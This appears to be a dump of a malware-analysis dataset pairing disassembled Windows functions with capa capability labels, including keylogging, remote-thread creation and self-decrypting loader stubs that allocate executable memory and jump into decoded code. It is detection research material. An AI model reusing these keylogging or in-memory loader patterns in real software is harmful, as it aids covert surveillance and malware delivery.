joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4317d0
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x808
mov eax, dword [0x435004]
xor eax, esp
mov dword [esp + 0x804], eax
mov eax, dword [0x4382a4]
imul eax, eax, 0x343fd
cmp dword [0x22dae8c], 0x139e
mov dword [0x4382a4], eax
jne 0x431823
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapePosition]
mov eax, dword [esp]
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov eax, dword [0x4382a4]
add eax, 0x269ec3
push esi
mov dword [0x4382a4], eax
movzx esi, word [0x4382a6]
and esi, 0x7fff
cmp dword [0x22dae8c], 0x8e7
jne 0x431858
push 0
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, dword [esp + 0x808]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00401000
add esp, 0x808
ret

Function at 0x431920
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x435004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x4361f0]
push ebx
mov ebx, dword [0x22da830]
push edi
mov edi, dword [0x22dae8c]
call fcn.00431870
cmp dword [0x22dae8c], 0x2f
jne 0x431985
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.004318a0
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.00401000
add esp, 0x24
ret
Function at 0x431cd0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.00409150
mov eax, dword [0x435004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x431cf9
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe2aa2
jge 0x431da1
cmp dword [0x22dae8c], 0xa5f
jne 0x431d45
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push str.keminivefayosexerukugufebaponif
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x84526b
jne 0x431d6a
mov eax, dword [0x437010]
mov dword [0x22dae8c], eax
mov ecx, dword [0x22dae8c]
add ecx, 0xa231
mov dword [0x22dae8c], ecx
cmp dword [0x22dae8c], 0x141
jne 0x431d9c
push str.renej_luwoyisawopab_dadabayegutenecisufoba_wozonotuwugewiropoxu_vogiwipeladoxakanahotucucuwi
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x4382a8], 0xec58acac
mov dword [0x4382ac], 0xffffffff
jmp 0x431cf0
call fcn.004319a0
jmp dword [0x22da830]
Function at 0x4010ae
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax + 4]
push esi
push edi
mov edi, dword [eax]
mov eax, dword [0x42f618]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x42f61c]
xor esi, esi
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], esi
call fcn.004010a7
mov eax, dword [0x42f620]
add dword [ebp - 0x14], 0x23f
mov dword [ebp - 0x28], eax
mov eax, dword [0x42f624]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x1a201c4], 0xc
mov dword [ebp - 4], eax
jne 0x401130
push esi
lea eax, [ebp - 0x40]
push eax
push esi
lea eax, [ebp - 0x458]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x1a201c4]
cmp eax, 0xfa9
jne 0x40114c
mov dword [0x1a201c0], 0xedeb2e40
cmp eax, 0x3eb
jne 0x401164
push esi
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov dword [0x1a20114], esi
mov eax, dword [ebp - 0x14]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [0x1a201bc], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 8], eax
sub ebx, dword [ebp - 8]
cmp dword [0x1a201c4], 0xc
mov dword [ebp - 4], eax
jne 0x4011e8
xor eax, eax
mov dword [ebp - 0x58], esi
lea edi, [ebp - 0x54]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x44]
push eax
push esi
lea eax, [ebp - 0x458]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea eax, [ebp - 0x3c]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, dword [ebp - 0x18]
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
add eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, ebx
shr eax, cl
add eax, dword [ebp - 0x34]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x14], 0x61c88647
sub edi, eax
dec dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
jne 0x401100
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
pop esi
mov dword [eax + 4], ebx
pop ebx
leave
ret 4
Function at 0x404c67
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e33c]
jne 0x404c71
repz ret
jmp fcn.0040ab06

Function at 0x40bbec
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404d6c
and dword [ebp - 4], 0
cmp dword [0x4389f4], 0
mov ebx, eax
jne 0x40bc9d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40bd4e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40bd4e
push eax
call fcn.00404cfa
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4389f4], eax
call esi
push eax
call fcn.00404cfa
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4389f8], eax
call esi
push eax
call fcn.00404cfa
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4389fc], eax
call esi
push eax
call fcn.00404cfa
pop ecx
mov dword [0x438a04], eax
test eax, eax
je 0x40bc9d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404cfa
pop ecx
mov dword [0x438a00], eax
mov eax, dword [0x438a00]
cmp eax, ebx
je 0x40bcf5
cmp dword [0x438a04], ebx
je 0x40bcf5
push eax
call fcn.00404d75
push dword [0x438a04]
mov esi, eax
call fcn.00404d75
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40bcf5
test edi, edi
je 0x40bcf5
call esi
test eax, eax
je 0x40bcec
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40bcec
test byte [ebp - 0xc], 1
jne 0x40bcf5
or dword [ebp + 0x10], 0x200000
jmp 0x40bd2e
mov eax, dword [0x4389f8]
cmp eax, ebx
je 0x40bd2e
push eax
call fcn.00404d75
pop ecx
test eax, eax
je 0x40bd2e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40bd2e
mov eax, dword [0x4389fc]
cmp eax, ebx
je 0x40bd2e
push eax
call fcn.00404d75
pop ecx
test eax, eax
je 0x40bd2e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4389f4]
call fcn.00404d75
pop ecx
test eax, eax
je 0x40bd4e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40bd50
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4069f7
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x406a2e
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a08
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x406a03
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a5f
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x406a41
pop edi
not eax
pop esi
ret 0xc
Function at 0x468387
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x14
push ebx
mov ebx, dword [esp + 0x30]
push ebp
mov ebp, dword [esp + 0x20]
push esi
push edi
xor esi, esi
xor edi, edi
mov byte [esp + 0x3c], 1
cmp dword [ebp + 4], esi
jne 0x4683b0
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 0x18
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
mov byte [ebx], 0
mov byte [eax], 0
mov byte [ecx], 0
mov byte [edx], 0
push esi
push ebp
call fcn.00438a19
movzx eax, word [eax]
cmp ax, 0x2b
je 0x4683f0
cmp ax, 0x5e
je 0x4683ea
cmp ax, 0x21
je 0x4683ea
cmp ax, 0x23
jne 0x468426
cmp ax, 0x2b
jne 0x4683fa
mov eax, dword [esp + 0x30]
mov byte [eax], 1
inc esi
jmp 0x4683c8
cmp ax, 0x5e
jne 0x46840a
mov ecx, dword [esp + 0x34]
mov byte [ecx], 1
inc esi
jmp 0x4683c8
cmp ax, 0x21
jne 0x46841a
mov edx, dword [esp + 0x38]
mov byte [edx], 1
inc esi
jmp 0x4683c8
cmp ax, 0x23
jne 0x468423
mov byte [ebx], 1
inc esi
jmp 0x4683c8
mov eax, esi
push eax
inc esi
push ebp
mov dword [esp + 0x30], esi
call fcn.00438a19
movzx eax, word [eax]
cmp ax, 0x7b
jne 0x46850f
mov eax, pe_nt_image_headers32
lea ecx, [esp + 0x10]
call fcn.004013a0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x14]
push ecx
push ebp
push 0x7d
call fcn.0045f717
test al, al
je 0x4684e7
mov edx, dword [esp + 0x10]
mov eax, dword [edi*4 + 0x492b10]
push edx
push eax
call fcn.004115d0
add esp, 8
test eax, eax
je 0x468488
inc edi
cmp edi, 0x62
jl 0x468469
cmp edi, 0x62
jne 0x4684de
xor edi, edi
lea esi, [esp + 0x10]
call fcn.00401cf0
movzx ecx, word [eax]
push ecx
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov edx, dword [esp + 0x2c]
cwde
mov dword [edx], eax
test eax, 0x200
je 0x4684b7
mov ecx, dword [esp + 0x34]
mov byte [ecx], 1
test eax, 0x400
je 0x4684c5
mov edx, dword [esp + 0x38]
mov byte [edx], 1
test eax, 0x100
je 0x468504
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x10]
mov byte [eax], 1
call fcn.00402620
jmp 0x468547
cmp byte [edi + 0x492c98], 0
je 0x4684f7
lea ecx, [esp + 0x10]
mov byte [esp + 0x3c], 0
call fcn.00402620
jmp 0x468547
movzx ecx, byte [edi + str._f_b_b..__reepqrstuvwxyz________t___]
mov edx, dword [esp + 0x2c]
mov dword [edx], ecx
lea ecx, [esp + 0x10]
call fcn.00402620
jmp 0x468547
push eax
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov ecx, dword [esp + 0x2c]
cwde
mov dword [ecx], eax
test eax, 0x200
je 0x46852b
mov edx, dword [esp + 0x34]
mov byte [edx], 1
test eax, 0x400
je 0x468539
mov ecx, dword [esp + 0x38]
mov byte [ecx], 1
test eax, 0x100
je 0x468547
mov edx, dword [esp + 0x30]
mov byte [edx], 1
mov eax, dword [esp + 0x2c]
and dword [eax], 0xff
mov al, byte [esp + 0x3c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 0x18
Function at 0x1002ed10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
and esi, 0xfffffffc
je 0x1002edcb
lea eax, [esi - 1]
mov edi, eax
shr edi, 2
add edi, 1
mov ecx, edi
and ecx, 3
cmp eax, 0xc
jae 0x1002ed40
xor eax, eax
xor ebx, ebx
jmp 0x1002ed8b
and edi, 0xfffffffc
neg edi
xor eax, eax
xor ebx, ebx
nop dword [eax]
rol eax, 5
xor eax, dword [edx + ebx]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 4]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 8]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 0xc]
imul eax, eax, 0x9e3779b9
add ebx, 0x10
add edi, 4
jne 0x1002ed50
test ecx, ecx
je 0x1002eda9
add ebx, edx
shl ecx, 2
xor edi, edi
rol eax, 5
xor eax, dword [ebx + edi]
imul eax, eax, 0x9e3779b9
add edi, 4
cmp ecx, edi
jne 0x1002ed96
mov edi, dword [ebp + 0xc]
cmp esi, edi
jae 0x1002edc6
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
add esi, 1
cmp edi, esi
jne 0x1002edb0
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0x1002eda9

Function at 0x1002f5e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1002f5f0
pop dword [ebp - 0x34]
mov eax, 0x6e6772cf
add eax, 0xa19b8321
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x33aea
push 0
mov eax, 0xa8179a5c
add eax, 0x67f0144c
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x54b74e08
add ecx, 0xab48ebd2
xor edx, edx
add edx, eax
mov ebx, 0x209660c8
add ebx, 0xef71fd38
add ebx, dword [ebp - 0x34]
mov edi, 0x5e62f741
xor dword [ebp - 0x14], 0xd0c920dc
mov esi, dword [ebx]
sub dword [ebp - 0xc], 0x9f9d65d0
sub esi, edi
xor dword [ebp - 0x18], ebx
mov dword [edx], esi
add edx, 0x569b91d6
sub edx, 0x569b91d2
add ebx, 0x1942174b
add ebx, 0xe6bde8b9
loop 0x1002f64b
add eax, 0xb836fb65
add eax, 0x47c9ded6
xor ebx, ebx
add ebx, eax
add eax, 0x8507bc34
add eax, 0x7af843d1
mov ecx, 0x198ebcf1
sub ecx, 0x98ebcf1
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1002aaee
pop dword [ebp - 0x24]
mov eax, 0x1002aaee
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x1bcdcae4
add dword [ebp - 0x34], 0x32847a67
mov dword [ebp - 0x30], 0x935380b5
add dword [ebp - 0x30], 0x9edfcb90
mov dword [ebp - 0x2c], 0x4b213621
add dword [ebp - 0x2c], 0x12b0e0d
mov dword [ebp - 0x28], 0xa6014d31
sub dword [ebp - 0x28], 0xa6014d31
lea eax, [ebp - 0x34]
push eax
mov eax, 0x16742f8a
sub eax, 0x6716f52
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x9f043968
sub dword [ebp - 0x34], 0x2a91d012
mov dword [ebp - 0x30], 0xcd9c5a1b
add dword [ebp - 0x30], 0x73d0075a
mov dword [ebp - 0x2c], 0xa66ad2cc
add dword [ebp - 0x2c], 0xbd0499a0
mov dword [ebp - 0x28], 0x9ec6a283
add dword [ebp - 0x28], 0x61395d7d
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x50f0d1ae
add eax, 0xbf11ee7a
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x38ae0
push 0
call eax
mov ecx, 0xe33fdc35
sub ecx, 0xe33f8b5c
mov edx, eax
mov edi, 0x8344fbf0
add edi, 0x8cbe9a10
add edi, dword [ebp - 0x24]
mov esi, 0xd5108d1d
add esi, 0xc43fdf2f
add dword [ebp - 0xc], 0x6dd2c72b
mov ebx, dword [edi]
xor dword [ebp - 4], 0x69f5cd6c
xor ebx, esi
add dword [ebp - 0x14], ebx
mov dword [edx], ebx
add dword [ebp - 4], eax
add edx, 0x2e9be005
add edx, 0xd1641fff
add edi, 0x43c3f83a
sub edi, 0x43c3f836
loop 0x1002ac0b
add eax, 0xbc2c136a
add eax, 0x43d522cd
mov ebx, eax
add eax, 0x9fa2c927
sub eax, 0x9fa2c922
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x1003d26b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1003d27a
pop dword [ebp - 0x38]
mov eax, 0x4bdf5fd9
add eax, 0xc42472a1
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x59173
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x97ab28b0
add ecx, 0x68551c6b
xor edx, edx
add edx, eax
mov edi, 0x100a0c00
add edi, dword [ebp - 0x38]
mov esi, 0xb49a3424
sub esi, 0x94b52e99
add dword [ebp - 0x30], 0x867318f1
mov ebx, dword [edi]
xor dword [ebp - 0x14], 0x9de72176
add ebx, esi
sub dword [ebp - 0x30], 0x4600d9d2
mov dword [edx], ebx
sub dword [ebp - 0x30], ecx
add edx, 0xcb6f4d84
add edx, 0x3490b280
add edi, 0x20ebe359
add edi, 0xdf141cab
loop 0x1003d2d0
add eax, 0x1fdf5497
add eax, 0xe021b2a8
xor ebx, ebx
add ebx, eax
add eax, 0x5dbd76a
add eax, 0xfa24289b
mov ecx, 0xb56ebb5a
add ecx, 0x5a9144a6
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x1004605f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100870c0]
jne 0x10046069
repz ret
jmp fcn.1004ef8a
Function at 0x1004eda7
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10087268]
je 0x1004edc2
inc edi
cmp edi, 0x17
jb 0x1004edb3
cmp edi, 0x17
jae 0x1004ef42
push ebp
push 3
call fcn.10055799
cmp eax, 1
pop ecx
je 0x1004ef0e
push 3
call fcn.10055799
test eax, eax
pop ecx
jne 0x1004edf6
cmp dword [0x1008894c], 1
je 0x1004ef0e
cmp ebx, 0xfc
je 0x1004ef41
push 0x1000ae6c
mov ebx, 0x314
push ebx
mov ebp, 0x10088b00
push ebp
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee2c
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x104
mov esi, 0x10088b19
push esi
push 0
mov byte [0x10088c1d], 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1004ee70
push 0x1000ae54
push 0x2fb
push esi
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee70
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1004fb11
add esp, 0x14
push esi
call fcn.10055430
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1004eeb5
push esi
call fcn.10055430
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x10088e14
push 0x1000a540
sub ecx, eax
push ecx
push eax
call fcn.1003d26b
add esp, 0x14
test eax, eax
je 0x1004eeb5
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
jmp 0x1004eeb7
xor esi, esi
push 0x1000ae50
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eed7
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push dword [edi*8 + 0x1008726c]
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eef9
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x12010
push 0x1000ae28
push ebp
call fcn.1003d26b
add esp, 0xc
jmp 0x1004ef41
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1004ef41
cmp ebp, 0xffffffff
je 0x1004ef41
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1008726c]
push dword [esi]
call fcn.10055430
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.kernel32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov eax, 0x42d038
lea ecx, [ebp - 0x24]
mov edx, dword [eax]
mov dword [ecx], edx
mov ax, word [eax + 4]
mov word [ecx + 4], ax
mov dword [0x5b3640], 0
mov eax, dword [ebp + 8]
mov dword [0x5b4e00], eax
mov eax, dword [ebp + 0x10]
push eax
call fcn.0041f8d0
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40105c
lea eax, [ebp - 0x24]
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], 0
jmp 0x40106b
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x14], eax
jle 0x401099
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x10]
movsx eax, byte [eax + ecx]
cmp eax, 0x3d
jne 0x401094
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x10]
mov byte [eax + ecx], 0x20
jmp 0x401068
push 0x100
call fcn.0041f851
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp + 0x10]
push eax
call fcn.00401476
add esp, 0xc
mov eax, dword [ebp - 4]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00403a28
add esp, 8
push 0x5b4e20
call fcn.00403890
add esp, 4
call fcn.00428154
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40110e
mov eax, dword [ebp + 8]
push eax
call fcn.00401d45
add esp, 4
push 0
call fcn.0041f77c
add esp, 4
cmp dword [0x5b2da4], 0
je 0x401131
mov eax, dword [ebp + 8]
push eax
call fcn.00401d45
add esp, 4
push 0
call fcn.0041f77c
add esp, 4
call fcn.00403b23
test eax, eax
jne 0x401154
mov eax, dword [ebp + 8]
push eax
call fcn.00401d45
add esp, 4
push 0xffffffffffffffff
call fcn.0041f77c
add esp, 4
call fcn.00404a84
test eax, eax
je 0x40117a
cmp dword [0x5b30dc], 0
jne 0x40117a
mov eax, dword [ebp + 8]
push eax
call fcn.00401228
add esp, 4
push 0x5b2c80
call fcn.00402090
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4011cf
xor eax, eax
mov al, byte [0x5b3661]
test eax, eax
je 0x4011cf
call fcn.00404a84
test eax, eax
je 0x4011be
push 0
mov eax, dword [0x5b3640]
push eax
call dword [0x42b1f8]
call fcn.00401b70
mov eax, dword [0x5b3640]
push eax
call dword [0x42b1fc]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00405858
mov dword [ebp - 0x10], eax
jmp 0x4011eb
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0
je 0x40120d
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + eax*4 - 4]
push eax
call fcn.0041f720
add esp, 4
jmp 0x4011e8
mov eax, dword [ebp - 4]
push eax
call fcn.0041f720
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x401221
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40c4c3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x180
push 0x8002
mov eax, dword [ebp + 8]
push eax
call fcn.0042598f
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x40c506
push 0x40006
call fcn.00406ccc
add esp, 4
mov eax, 0xffffffff
jmp 0x40c607
mov eax, dword [ebp - 8]
push eax
call fcn.00429681
add esp, 4
mov ecx, dword [ebp + 0x10]
mov word [ecx], ax
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0xffff
jne 0x40c54f
mov eax, dword [ebp - 8]
push eax
call fcn.004235ad
add esp, 4
push 0x40008
call fcn.00406ccc
add esp, 4
mov eax, 0xffffffff
jmp 0x40c607
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00423a67
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40c58b
push 0x40009
call fcn.00406ccc
add esp, 4
mov eax, dword [ebp - 8]
push eax
call fcn.004235ad
add esp, 4
mov eax, 0xffffffff
jmp 0x40c607
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax]
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.00423871
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c5d4
push 0x4000a
call fcn.00406ccc
add esp, 4
mov eax, dword [ebp - 8]
push eax
call fcn.004235ad
add esp, 4
mov eax, 0xffffffff
jmp 0x40c607
mov eax, dword [ebp - 8]
push eax
call fcn.004235ad
add esp, 4
cmp eax, 0xffffffff
jne 0x40c600
push 0x40005
call fcn.00406ccc
add esp, 4
mov eax, 0xffffffff
jmp 0x40c607
xor eax, eax
jmp 0x40c607
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4150cc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp ax, bx
jbe 0x4150ec
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x4150e6
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x4150d7
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00414e92
invalid